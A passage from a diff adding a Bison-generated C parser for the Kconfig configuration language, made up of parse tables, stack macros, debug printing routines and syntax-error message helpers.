&yyptr->Stack_alloc; \ + yynewbytes = yystacksize * sizeof (*Stack) + YYSTACK_GAP_MAXIMUM; \ + yyptr += yynewbytes / sizeof (*yyptr); \ + } \ + while (YYID (0)) + +#endif + +#if defined YYCOPY_NEEDED && YYCOPY_NEEDED +/* Copy COUNT objects from FROM to TO. The source and destination do + not overlap. */ +# ifndef YYCOPY +# if defined __GNUC__ && 1 < __GNUC__ +# define YYCOPY(To, From, Count) \ + __builtin_memcpy (To, From, (Count) * sizeof (*(From))) +# else +# define YYCOPY(To, From, Count) \ + do \ + { \ + YYSIZE_T yyi; \ + for (yyi = 0; yyi < (Count); yyi++) \ + (To)[yyi] = (From)[yyi]; \ + } \ + while (YYID (0)) +# endif +# endif +#endif /* !YYCOPY_NEEDED */ + +/* YYFINAL -- State number of the termination state. */ +#define YYFINAL 11 +/* YYLAST -- Last index in YYTABLE. */ +#define YYLAST 290 + +/* YYNTOKENS -- Number of terminals. */ +#define YYNTOKENS 36 +/* YYNNTS -- Number of nonterminals. */ +#define YYNNTS 50 +/* YYNRULES -- Number of rules. */ +#define YYNRULES 118 +/* YYNRULES -- Number of states. */ +#define YYNSTATES 191 + +/* YYTRANSLATE(YYLEX) -- Bison symbol number corresponding to YYLEX. */ +#define YYUNDEFTOK 2 +#define YYMAXUTOK 290 + +#define YYTRANSLATE(YYX) \ + ((unsigned int) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK) + +/* YYTRANSLATE[YYLEX] -- Bison symbol number corresponding to YYLEX. */ +static const yytype_uint8 yytranslate[] = +{ + 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 1, 2, 3, 4, + 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, + 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, + 35 +}; + +#if YYDEBUG +/* YYPRHS[YYN] -- Index of the first RHS symbol of rule number YYN in + YYRHS. */ +static const yytype_uint16 yyprhs[] = +{ + 0, 0, 3, 6, 8, 11, 13, 14, 17, 20, + 23, 26, 31, 36, 40, 42, 44, 46, 48, 50, + 52, 54, 56, 58, 60, 62, 64, 66, 68, 72, + 75, 79, 82, 86, 89, 90, 93, 96, 99, 102, + 105, 108, 112, 117, 122, 127, 133, 137, 138, 142, + 143, 146, 150, 153, 155, 159, 160, 163, 166, 169, + 172, 175, 180, 184, 187, 192, 193, 196, 200, 202, + 206, 207, 210, 213, 216, 220, 224, 228, 230, 234, + 235, 238, 241, 244, 248, 252, 255, 258, 261, 262, + 265, 268, 271, 276, 277, 280, 283, 286, 287, 290, + 292, 294, 297, 300, 303, 305, 308, 309, 312, 314, + 318, 322, 326, 329, 333, 337, 339, 341, 342 +}; + +/* YYRHS -- A `-1'-separated list of the rules' RHS. */ +static const yytype_int8 yyrhs[] = +{ + 37, 0, -1, 81, 38, -1, 38, -1, 63, 39, + -1, 39, -1, -1, 39, 41, -1, 39, 55, -1, + 39, 67, -1, 39, 80, -1, 39, 26, 1, 31, + -1, 39, 40, 1, 31, -1, 39, 1, 31, -1, + 16, -1, 18, -1, 19, -1, 21, -1, 17, -1, + 22, -1, 20, -1, 23, -1, 31, -1, 61, -1, + 71, -1, 44, -1, 46, -1, 69, -1, 26, 1, + 31, -1, 1, 31, -1, 10, 26, 31, -1, 43, + 47, -1, 11, 26, 31, -1, 45, 47, -1, -1, + 47, 48, -1, 47, 49, -1, 47, 75, -1, 47, + 73, -1, 47, 42, -1, 47, 31, -1, 19, 78, + 31, -1, 18, 79, 82, 31, -1, 20, 83, 82, + 31, -1, 21, 26, 82, 31, -1, 22, 84, 84, + 82, 31, -1, 24, 50, 31, -1, -1, 50, 26, + 51, -1, -1, 34, 79, -1, 7, 85, 31, -1, + 52, 56, -1, 80, -1, 53, 58, 54, -1, -1, + 56, 57, -1, 56, 75, -1, 56, 73, -1, 56, + 31, -1, 56, 42, -1, 18, 79, 82, 31, -1, + 19, 78, 31, -1, 17, 31, -1, 20, 26, 82, + 31, -1, -1, 58, 41, -1, 14, 83, 81, -1, + 80, -1, 59, 62, 60, -1, -1, 62, 41, -1, + 62, 67, -1, 62, 55, -1, 3, 79, 81, -1, + 4, 79, 31, -1, 64, 76, 74, -1, 80, -1, + 65, 68, 66, -1, -1, 68, 41, -1, 68, 67, + -1, 68, 55, -1, 6, 79, 31, -1, 9, 79, + 31, -1, 70, 74, -1, 12, 31, -1, 72, 13, + -1, -1, 74, 75, -1, 74, 31, -1, 74, 42, + -1, 16, 25, 83, 31, -1, -1, 76, 77, -1, + 76, 31, -1, 23, 82, -1, -1, 79, 82, -1, + 26, -1, 27, -1, 5, 31, -1, 8, 31, -1, + 15, 31, -1, 31, -1, 81, 31, -1, -1, 14, + 83, -1, 84, -1, 84, 34, 84, -1, 84, 28, + 84, -1, 30, 83, 29, -1, 35, 83, -1, 83, + 32, 83, -1, 83, 33, 83, -1, 26, -1, 27, + -1, -1, 26, -1 +}; + +/* YYRLINE[YYN] -- source line where rule number YYN was defined. */ +static const yytype_uint16 yyrline[] = +{ + 0, 103, 103, 103, 105, 105, 107, 109, 110, 111, + 112, 113, 114, 118, 122, 122, 122, 122, 122, 122, + 122, 122, 126, 127, 128, 129, 130, 131, 135, 136, + 142, 150, 156, 164, 174, 176, 177, 178, 179, 180, + 181, 184, 192, 198, 208, 214, 220, 223, 225, 236, + 237, 242, 251, 256, 264, 267, 269, 270, 271, 272, + 273, 276, 282, 293, 299, 309, 311, 316, 324, 332, + 335, 337, 338, 339, 344, 351, 358, 363, 371, 374, + 376, 377, 378, 381, 389, 396, 403, 409, 416, 418, + 419, 420, 423, 431, 433, 434, 437, 444, 446, 451, + 452, 455, 456, 457, 461, 462, 465, 466, 469, 470, + 471, 472, 473, 474, 475, 478, 479, 482, 483 +}; +#endif + +#if YYDEBUG || YYERROR_VERBOSE || YYTOKEN_TABLE +/* YYTNAME[SYMBOL-NUM] -- String name of the symbol SYMBOL-NUM. + First, the terminals, then, starting at YYNTOKENS, nonterminals. */ +static const char *const yytname[] = +{ + "$end", "error", "$undefined", "T_MAINMENU", "T_MENU", "T_ENDMENU", + "T_SOURCE", "T_CHOICE", "T_ENDCHOICE", "T_COMMENT", "T_CONFIG", + "T_MENUCONFIG", "T_HELP", "T_HELPTEXT", "T_IF", "T_ENDIF", "T_DEPENDS", + "T_OPTIONAL", "T_PROMPT", "T_TYPE", "T_DEFAULT", "T_SELECT", "T_RANGE", + "T_VISIBLE", "T_OPTION", "T_ON", "T_WORD", "T_WORD_QUOTE", "T_UNEQUAL", + "T_CLOSE_PAREN", "T_OPEN_PAREN", "T_EOL", "T_OR", "T_AND", "T_EQUAL", + "T_NOT", "$accept", "input", "start", "stmt_list", "option_name", + "common_stmt", "option_error", "config_entry_start", "config_stmt", + "menuconfig_entry_start", "menuconfig_stmt", "config_option_list", + "config_option", "symbol_option", "symbol_option_list", + "symbol_option_arg", "choice", "choice_entry", "choice_end", + "choice_stmt", "choice_option_list", "choice_option", "choice_block", + "if_entry", "if_end", "if_stmt", "if_block", "mainmenu_stmt", "menu", + "menu_entry", "menu_end", "menu_stmt", "menu_block", "source_stmt", + "comment", "comment_stmt", "help_start", "help", "depends_list", + "depends", "visibility_list", "visible", "prompt_stmt_opt", "prompt", + "end", "nl", "if_expr", "expr", "symbol", "word_opt", 0 +}; +#endif + +# ifdef YYPRINT +/* YYTOKNUM[YYLEX-NUM] -- Internal token number corresponding to + token YYLEX-NUM. */ +static const yytype_uint16 yytoknum[] = +{ + 0, 256, 257, 258, 259, 260, 261, 262, 263, 264, + 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, + 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, + 285, 286, 287, 288, 289, 290 +}; +# endif + +/* YYR1[YYN] -- Symbol number of symbol that rule YYN derives. */ +static const yytype_uint8 yyr1[] = +{ + 0, 36, 37, 37, 38, 38, 39, 39, 39, 39, + 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, + 40, 40, 41, 41, 41, 41, 41, 41, 42, 42, + 43, 44, 45, 46, 47, 47, 47, 47, 47, 47, + 47, 48, 48, 48, 48, 48, 49, 50, 50, 51, + 51, 52, 53, 54, 55, 56, 56, 56, 56, 56, + 56, 57, 57, 57, 57, 58, 58, 59, 60, 61, + 62, 62, 62, 62, 63, 64, 65, 66, 67, 68, + 68, 68, 68, 69, 70, 71, 72, 73, 74, 74, + 74, 74, 75, 76, 76, 76, 77, 78, 78, 79, + 79, 80, 80, 80, 81, 81, 82, 82, 83, 83, + 83, 83, 83, 83, 83, 84, 84, 85, 85 +}; + +/* YYR2[YYN] -- Number of symbols composing right hand side of rule YYN. */ +static const yytype_uint8 yyr2[] = +{ + 0, 2, 2, 1, 2, 1, 0, 2, 2, 2, + 2, 4, 4, 3, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 3, 2, + 3, 2, 3, 2, 0, 2, 2, 2, 2, 2, + 2, 3, 4, 4, 4, 5, 3, 0, 3, 0, + 2, 3, 2, 1, 3, 0, 2, 2, 2, 2, + 2, 4, 3, 2, 4, 0, 2, 3, 1, 3, + 0, 2, 2, 2, 3, 3, 3, 1, 3, 0, + 2, 2, 2, 3, 3, 2, 2, 2, 0, 2, + 2, 2, 4, 0, 2, 2, 2, 0, 2, 1, + 1, 2, 2, 2, 1, 2, 0, 2, 1, 3, + 3, 3, 2, 3, 3, 1, 1, 0, 1 +}; + +/* YYDEFACT[STATE-NAME] -- Default reduction number in state STATE-NUM. + Performed when YYTABLE doesn't specify something else to do. Zero + means the default is an error. */ +static const yytype_uint8 yydefact[] = +{ + 6, 0, 104, 0, 3, 0, 6, 6, 99, 100, + 0, 1, 0, 0, 0, 0, 117, 0, 0, 0, + 0, 0, 0, 14, 18, 15, 16, 20, 17, 19, + 21, 0, 22, 0, 7, 34, 25, 34, 26, 55, + 65, 8, 70, 23, 93, 79, 9, 27, 88, 24, + 10, 0, 105, 2, 74, 13, 0, 101, 0, 118, + 0, 102, 0, 0, 0, 115, 116, 0, 0, 0, + 108, 103, 0, 0, 0, 0, 0, 0, 0, 88, + 0, 0, 75, 83, 51, 84, 30, 32, 0, 112, + 0, 0, 67, 0, 0, 11, 12, 0, 0, 0, + 0, 97, 0, 0, 0, 47, 0, 40, 39, 35, + 36, 0, 38, 37, 0, 0, 97, 0, 59, 60, + 56, 58, 57, 66, 54, 53, 71, 73, 69, 72, + 68, 106, 95, 0, 94, 80, 82, 78, 81, 77, + 90, 91, 89, 111, 113, 114, 110, 109, 29, 86, + 0, 106, 0, 106, 106, 106, 0, 0, 0, 87, + 63, 106, 0, 106, 0, 96, 0, 0, 41, 98, + 0, 0, 106, 49, 46, 28, 0, 62, 0, 107, + 92, 42, 43, 44, 0, 0, 48, 61, 64, 45, + 50 +}; + +/* YYDEFGOTO[NTERM-NUM]. */ +static const yytype_int16 yydefgoto[] = +{ + -1, 3, 4, 5, 33, 34, 108, 35, 36, 37, + 38, 74, 109, 110, 157, 186, 39, 40, 124, 41, + 76, 120, 77, 42, 128, 43, 78, 6, 44, 45, + 137, 46, 80, 47, 48, 49, 111, 112, 81, 113, + 79, 134, 152, 153, 50, 7, 165, 69, 70, 60 +}; + +/* YYPACT[STATE-NUM] -- Index in YYTABLE of the portion describing + STATE-NUM. */ +#define YYPACT_NINF -90 +static const yytype_int16 yypact[] = +{ + 4, 42, -90, 96, -90, 111, -90, 15, -90, -90, + 75, -90, 82, 42, 104, 42, 110, 107, 42, 115, + 125, -4, 121, -90, -90, -90, -90, -90, -90, -90, + -90, 162, -90, 163, -90, -90, -90, -90, -90, -90, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, 139, -90, -90, 138, -90, 142, -90, 143, -90, + 152, -90, 164, 167, 168, -90, -90, -4, -4, 77, + -18, -90, 177, 185, 33, 71, 195, 247, 236, -2, + 236, 171, -90, -90, -90, -90, -90, -90, 41, -90, + -4, -4, 138, 97, 97, -90, -90, 186, 187, 194, + 42, 42, -4, 196, 97, -90, 219, -90, -90, -90, + -90, 210, -90, -90, 204, 42, 42, 199, -90, -90, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, 222, -90, 223, -90, -90, -90, -90, -90, -90, + -90, -90, -90, -90, 215, -90, -90, -90, -90, -90, + -4, 222, 228, 222, -5, 222, 97, 35, 229, -90, + -90, 222, 232, 222, -4, -90, 135, 233, -90, -90, + 234, 235, 222, 240, -90, -90, 237, -90, 239, -13, + -90, -90, -90, -90, 244, 42, -90, -90, -90, -90, + -90 +}; + +/* YYPGOTO[NTERM-NUM]. */ +static const yytype_int16 yypgoto[] = +{ + -90, -90, 269, 271, -90, 23, -70, -90, -90, -90, + -90, 243, -90, -90, -90, -90, -90, -90, -90, -48, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, -20, -90, -90, -90, -90, -90, 206, 205, -68, + -90, -90, 169, -1, 27, -7, 118, -66, -89, -90 +}; + +/* YYTABLE[YYPACT[STATE-NUM]]. What to do in state STATE-NUM. If + positive, shift that token. If negative, reduce the rule which + number is the opposite. If YYTABLE_NINF, syntax error. */ +#define YYTABLE_NINF -86 +static const yytype_int16 yytable[] = +{ + 10, 88, 89, 54, 146, 147, 119, 1, 122, 164, + 93, 141, 56, 142, 58, 156, 94, 62, 1, 90, + 91, 131, 65, 66, 144, 145, 67, 90, 91, 132, + 127, 68, 136, -31, 97, 2, 154, -31, -31, -31, + -31, -31, -31, -31, -31, 98, 52, -31, -31, 99, + -31, 100, 101, 102, 103, 104, -31, 105, 129, 106, + 138, 173, 92, 141, 107, 142, 174, 172, 8, 9, + 143, -33, 97, 90, 91, -33, -33, -33, -33, -33, + -33, -33, -33, 98, 166, -33, -33, 99, -33, 100, + 101, 102, 103, 104, -33, 105, 11, 106, 179, 151, + 123, 126, 107, 135, 125, 130, 2, 139, 2, 90, + 91, -5, 12, 55, 161, 13, 14, 15, 16, 17, + 18, 19, 20, 65, 66, 21, 22, 23, 24, 25, + 26, 27, 28, 29, 30, 57, 59, 31, 61, -4, + 12, 63, 32, 13, 14, 15, 16, 17, 18, 19, + 20, 64, 71, 21, 22, 23, 24, 25, 26, 27, + 28, 29, 30, 72, 73, 31, 180, 90, 91, 52, + 32, -85, 97, 82, 83, -85, -85, -85, -85, -85, + -85, -85, -85, 84, 190, -85, -85, 99, -85, -85, + -85, -85, -85, -85, -85, 85, 97, 106, 86, 87, + -52, -52, 140, -52, -52, -52, -52, 98, 95, -52, + -52, 99, 114, 115, 116, 117, 96, 148, 149, 150, + 158, 106, 155, 159, 97, 163, 118, -76, -76, -76, + -76, -76, -76, -76, -76, 160, 164, -76, -76, 99, + 13, 14, 15, 16, 17, 18, 19, 20, 91, 106, + 21, 22, 14, 15, 140, 17, 18, 19, 20, 168, + 175, 21, 22, 177, 181, 182, 183, 32, 187, 167, + 188, 169, 170, 171, 185, 189, 53, 51, 32, 176, + 75, 178, 121, 0, 133, 162, 0, 0, 0, 0, + 184 +}; + +#define yypact_value_is_default(yystate) \ + ((yystate) == (-90)) + +#define yytable_value_is_error(yytable_value) \ + YYID (0) + +static const yytype_int16 yycheck[] = +{ + 1, 67, 68, 10, 93, 94, 76, 3, 76, 14, + 28, 81, 13, 81, 15, 104, 34, 18, 3, 32, + 33, 23, 26, 27, 90, 91, 30, 32, 33, 31, + 78, 35, 80, 0, 1, 31, 102, 4, 5, 6, + 7, 8, 9, 10, 11, 12, 31, 14, 15, 16, + 17, 18, 19, 20, 21, 22, 23, 24, 78, 26, + 80, 26, 69, 133, 31, 133, 31, 156, 26, 27, + 29, 0, 1, 32, 33, 4, 5, 6, 7, 8, + 9, 10, 11, 12, 150, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 24, 0, 26, 164, 100, + 77, 78, 31, 80, 77, 78, 31, 80, 31, 32, + 33, 0, 1, 31, 115, 4, 5, 6, 7, 8, + 9, 10, 11, 26, 27, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 31, 26, 26, 31, 0, + 1, 26, 31, 4, 5, 6, 7, 8, 9, 10, + 11, 26, 31, 14, 15, 16, 17, 18, 19, 20, + 21, 22, 23, 1, 1, 26, 31, 32, 33, 31, + 31, 0, 1, 31, 31, 4, 5, 6, 7, 8, + 9, 10, 11, 31, 185, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 31, 1, 26, 31, 31, + 5, 6, 31, 8, 9, 10, 11, 12, 31, 14, + 15, 16, 17, 18, 19, 20, 31, 31, 31, 25, + 1, 26, 26, 13, 1, 26, 31, 4, 5, 6, + 7, 8, 9, 10, 11, 31, 14, 14, 15, 16, + 4, 5, 6, 7, 8, 9, 10, 11, 33, 26, + 14, 15, 5, 6, 31, 8, 9, 10, 11, 31, + 31, 14, 15, 31, 31, 31, 31, 31, 31, 151, + 31, 153, 154, 155, 34, 31, 7, 6, 31, 161, + 37, 163, 76, -1, 79, 116, -1, -1, -1, -1, + 172 +}; + +/* YYSTOS[STATE-NUM] -- The (internal number of the) accessing + symbol of state STATE-NUM. */ +static const yytype_uint8 yystos[] = +{ + 0, 3, 31, 37, 38, 39, 63, 81, 26, 27, + 79, 0, 1, 4, 5, 6, 7, 8, 9, 10, + 11, 14, 15, 16, 17, 18, 19, 20, 21, 22, + 23, 26, 31, 40, 41, 43, 44, 45, 46, 52, + 53, 55, 59, 61, 64, 65, 67, 69, 70, 71, + 80, 39, 31, 38, 81, 31, 79, 31, 79, 26, + 85, 31, 79, 26, 26, 26, 27, 30, 35, 83, + 84, 31, 1, 1, 47, 47, 56, 58, 62, 76, + 68, 74, 31, 31, 31, 31, 31, 31, 83, 83, + 32, 33, 81, 28, 34, 31, 31, 1, 12, 16, + 18, 19, 20, 21, 22, 24, 26, 31, 42, 48, + 49, 72, 73, 75, 17, 18, 19, 20, 31, 42, + 57, 73, 75, 41, 54, 80, 41, 55, 60, 67, + 80, 23, 31, 74, 77, 41, 55, 66, 67, 80, + 31, 42, 75, 29, 83, 83, 84, 84, 31, 31, + 25, 79, 78, 79, 83, 26, 84, 50, 1, 13, + 31, 79, 78, 26, 14, 82, 83, 82, 31, 82, + 82, 82, 84, 26, 31, 31, 82, 31, 82, 83, + 31, 31, 31, 31, 82, 34, 51, 31, 31, 31, + 79 +}; + +#define yyerrok (yyerrstatus = 0) +#define yyclearin (yychar = YYEMPTY) +#define YYEMPTY (-2) +#define YYEOF 0 + +#define YYACCEPT goto yyacceptlab +#define YYABORT goto yyabortlab +#define YYERROR goto yyerrorlab + + +/* Like YYERROR except do call yyerror. This remains here temporarily + to ease the transition to the new meaning of YYERROR, for GCC. + Once GCC version 2 has supplanted version 1, this can go. However, + YYFAIL appears to be in use. Nevertheless, it is formally deprecated + in Bison 2.4.2's NEWS entry, where a plan to phase it out is + discussed. */ + +#define YYFAIL goto yyerrlab +#if defined YYFAIL + /* This is here to suppress warnings from the GCC cpp's + -Wunused-macros. Normally we don't worry about that warning, but + some users do, and we want to make it easy for users to remove + YYFAIL uses, which will produce warnings from Bison 2.5. */ +#endif + +#define YYRECOVERING() (!!yyerrstatus) + +#define YYBACKUP(Token, Value) \ +do \ + if (yychar == YYEMPTY && yylen == 1) \ + { \ + yychar = (Token); \ + yylval = (Value); \ + YYPOPSTACK (1); \ + goto yybackup; \ + } \ + else \ + { \ + yyerror (YY_("syntax error: cannot back up")); \ + YYERROR; \ + } \ +while (YYID (0)) + + +#define YYTERROR 1 +#define YYERRCODE 256 + + +/* YYLLOC_DEFAULT -- Set CURRENT to span from RHS[1] to RHS[N]. + If N is 0, then set CURRENT to the empty location which ends + the previous symbol: RHS[0] (always defined). */ + +#define YYRHSLOC(Rhs, K) ((Rhs)[K]) +#ifndef YYLLOC_DEFAULT +# define YYLLOC_DEFAULT(Current, Rhs, N) \ + do \ + if (YYID (N)) \ + { \ + (Current).first_line = YYRHSLOC (Rhs, 1).first_line; \ + (Current).first_column = YYRHSLOC (Rhs, 1).first_column; \ + (Current).last_line = YYRHSLOC (Rhs, N).last_line; \ + (Current).last_column = YYRHSLOC (Rhs, N).last_column; \ + } \ + else \ + { \ + (Current).first_line = (Current).last_line = \ + YYRHSLOC (Rhs, 0).last_line; \ + (Current).first_column = (Current).last_column = \ + YYRHSLOC (Rhs, 0).last_column; \ + } \ + while (YYID (0)) +#endif + + +/* This macro is provided for backward compatibility. */ + +#ifndef YY_LOCATION_PRINT +# define YY_LOCATION_PRINT(File, Loc) ((void) 0) +#endif + + +/* YYLEX -- calling `yylex' with the right arguments. */ + +#ifdef YYLEX_PARAM +# define YYLEX yylex (YYLEX_PARAM) +#else +# define YYLEX yylex () +#endif + +/* Enable debugging if requested. */ +#if YYDEBUG + +# ifndef YYFPRINTF +# include /* INFRINGES ON USER NAME SPACE */ +# define YYFPRINTF fprintf +# endif + +# define YYDPRINTF(Args) \ +do { \ + if (yydebug) \ + YYFPRINTF Args; \ +} while (YYID (0)) + +# define YY_SYMBOL_PRINT(Title, Type, Value, Location) \ +do { \ + if (yydebug) \ + { \ + YYFPRINTF (stderr, "%s ", Title); \ + yy_symbol_print (stderr, \ + Type, Value); \ + YYFPRINTF (stderr, "\n"); \ + } \ +} while (YYID (0)) + + +/*--------------------------------. +| Print this symbol on YYOUTPUT. | +`--------------------------------*/ + +/*ARGSUSED*/ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_symbol_value_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep) +#else +static void +yy_symbol_value_print (yyoutput, yytype, yyvaluep) + FILE *yyoutput; + int yytype; + YYSTYPE const * const yyvaluep; +#endif +{ + if (!yyvaluep) + return; +# ifdef YYPRINT + if (yytype < YYNTOKENS) + YYPRINT (yyoutput, yytoknum[yytype], *yyvaluep); +# else + YYUSE (yyoutput); +# endif + switch (yytype) + { + default: + break; + } +} + + +/*--------------------------------. +| Print this symbol on YYOUTPUT. | +`--------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_symbol_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep) +#else +static void +yy_symbol_print (yyoutput, yytype, yyvaluep) + FILE *yyoutput; + int yytype; + YYSTYPE const * const yyvaluep; +#endif +{ + if (yytype < YYNTOKENS) + YYFPRINTF (yyoutput, "token %s (", yytname[yytype]); + else + YYFPRINTF (yyoutput, "nterm %s (", yytname[yytype]); + + yy_symbol_value_print (yyoutput, yytype, yyvaluep); + YYFPRINTF (yyoutput, ")"); +} + +/*------------------------------------------------------------------. +| yy_stack_print -- Print the state stack from its BOTTOM up to its | +| TOP (included). | +`------------------------------------------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_stack_print (yytype_int16 *yybottom, yytype_int16 *yytop) +#else +static void +yy_stack_print (yybottom, yytop) + yytype_int16 *yybottom; + yytype_int16 *yytop; +#endif +{ + YYFPRINTF (stderr, "Stack now"); + for (; yybottom <= yytop; yybottom++) + { + int yybot = *yybottom; + YYFPRINTF (stderr, " %d", yybot); + } + YYFPRINTF (stderr, "\n"); +} + +# define YY_STACK_PRINT(Bottom, Top) \ +do { \ + if (yydebug) \ + yy_stack_print ((Bottom), (Top)); \ +} while (YYID (0)) + + +/*------------------------------------------------. +| Report that the YYRULE is going to be reduced. | +`------------------------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_reduce_print (YYSTYPE *yyvsp, int yyrule) +#else +static void +yy_reduce_print (yyvsp, yyrule) + YYSTYPE *yyvsp; + int yyrule; +#endif +{ + int yynrhs = yyr2[yyrule]; + int yyi; + unsigned long int yylno = yyrline[yyrule]; + YYFPRINTF (stderr, "Reducing stack by rule %d (line %lu):\n", + yyrule - 1, yylno); + /* The symbols being reduced. */ + for (yyi = 0; yyi < yynrhs; yyi++) + { + YYFPRINTF (stderr, " $%d = ", yyi + 1); + yy_symbol_print (stderr, yyrhs[yyprhs[yyrule] + yyi], + &(yyvsp[(yyi + 1) - (yynrhs)]) + ); + YYFPRINTF (stderr, "\n"); + } +} + +# define YY_REDUCE_PRINT(Rule) \ +do { \ + if (yydebug) \ + yy_reduce_print (yyvsp, Rule); \ +} while (YYID (0)) + +/* Nonzero means print parse trace. It is left uninitialized so that + multiple parsers can coexist. */ +int yydebug; +#else /* !YYDEBUG */ +# define YYDPRINTF(Args) +# define YY_SYMBOL_PRINT(Title, Type, Value, Location) +# define YY_STACK_PRINT(Bottom, Top) +# define YY_REDUCE_PRINT(Rule) +#endif /* !YYDEBUG */ + + +/* YYINITDEPTH -- initial size of the parser's stacks. */ +#ifndef YYINITDEPTH +# define YYINITDEPTH 200 +#endif + +/* YYMAXDEPTH -- maximum size the stacks can grow to (effective only + if the built-in stack extension method is used). + + Do not make this value too large; the results are undefined if + YYSTACK_ALLOC_MAXIMUM < YYSTACK_BYTES (YYMAXDEPTH) + evaluated with infinite-precision integer arithmetic. */ + +#ifndef YYMAXDEPTH +# define YYMAXDEPTH 10000 +#endif + + +#if YYERROR_VERBOSE + +# ifndef yystrlen +# if defined __GLIBC__ && defined _STRING_H +# define yystrlen strlen +# else +/* Return the length of YYSTR. */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static YYSIZE_T +yystrlen (const char *yystr) +#else +static YYSIZE_T +yystrlen (yystr) + const char *yystr; +#endif +{ + YYSIZE_T yylen; + for (yylen = 0; yystr[yylen]; yylen++) + continue; + return yylen; +} +# endif +# endif + +# ifndef yystpcpy +# if defined __GLIBC__ && defined _STRING_H && defined _GNU_SOURCE +# define yystpcpy stpcpy +# else +/* Copy YYSRC to YYDEST, returning the address of the terminating '\0' in + YYDEST. */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static char * +yystpcpy (char *yydest, const char *yysrc) +#else +static char * +yystpcpy (yydest, yysrc) + char *yydest; + const char *yysrc; +#endif +{ + char *yyd = yydest; + const char *yys = yysrc; + + while ((*yyd++ = *yys++) != '\0') + continue; + + return yyd - 1; +} +# endif +# endif + +# ifndef yytnamerr +/* Copy to YYRES the contents of YYSTR after stripping away unnecessary + quotes and backslashes, so that it's suitable for yyerror. The + heuristic is that double-quoting is unnecessary unless the string + contains an apostrophe, a comma, or backslash (other than + backslash-backslash). YYSTR is taken from yytname. If YYRES is + null, do not copy; instead, return the length of what the result + would have been. */ +static YYSIZE_T +yytnamerr (char *yyres, const char *yystr) +{ + if (*yystr == '"') + { + YYSIZE_T yyn = 0; + char const *yyp = yystr; + + for (;;) + switch (*++yyp) + { + case '\'': + case ',': + goto do_not_strip_quotes; + + case '\\': + if (*++yyp != '\\') + goto do_not_strip_quotes; + /* Fall through. */ + default: + if (yyres) + yyres[yyn] = *yyp; + yyn++; + break; + + case '"': + if (yyres) + yyres[yyn] = '\0'; + return yyn; + } + do_not_strip_quotes: ; + } + + if (! yyres) + return yystrlen (yystr); + + return yystpcpy (yyres, yystr) - yyres; +} +# endif + +/* Copy into *YYMSG, which is of size *YYMSG_ALLOC, an error message + about the unexpected token YYTOKEN for the state stack whose top is + YYSSP. + + Return 0 if *YYMSG was successfully written. Return 1 if *YYMSG is + not large enough to hold the message. In that case, also set + *YYMSG_ALLOC to the required number of bytes. Return 2 if the + required number of bytes is too large to store. */ +static int +yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg, + yytype_int16 *yyssp, int yytoken) +{ + YYSIZE_T yysize0 = yytnamerr (0, yytname[yytoken]); + YYSIZE_T yysize = yysize0; + YYSIZE_T yysize1; + enum { YYERROR_VERBOSE_ARGS_MAXIMUM = 5 }; + /* Internationalized format string. */ + const char *yyformat = 0; + /* Arguments of yyformat. */ + char const *yyarg[YYERROR_VERBOSE_ARGS_MAXIMUM]; + /* Number of reported tokens (one for the "unexpected", one per + "expected"). */ + int yycount = 0; + + /* There are many possibilities here to consider: + - Assume YYFAIL is not used. It's too flawed to consider. See + + for details. YYERROR is fine as it does not invoke this + function. + - If this state is a consistent state with a default action, then + the only way this function was invoked is if the default action + is an error action. In that 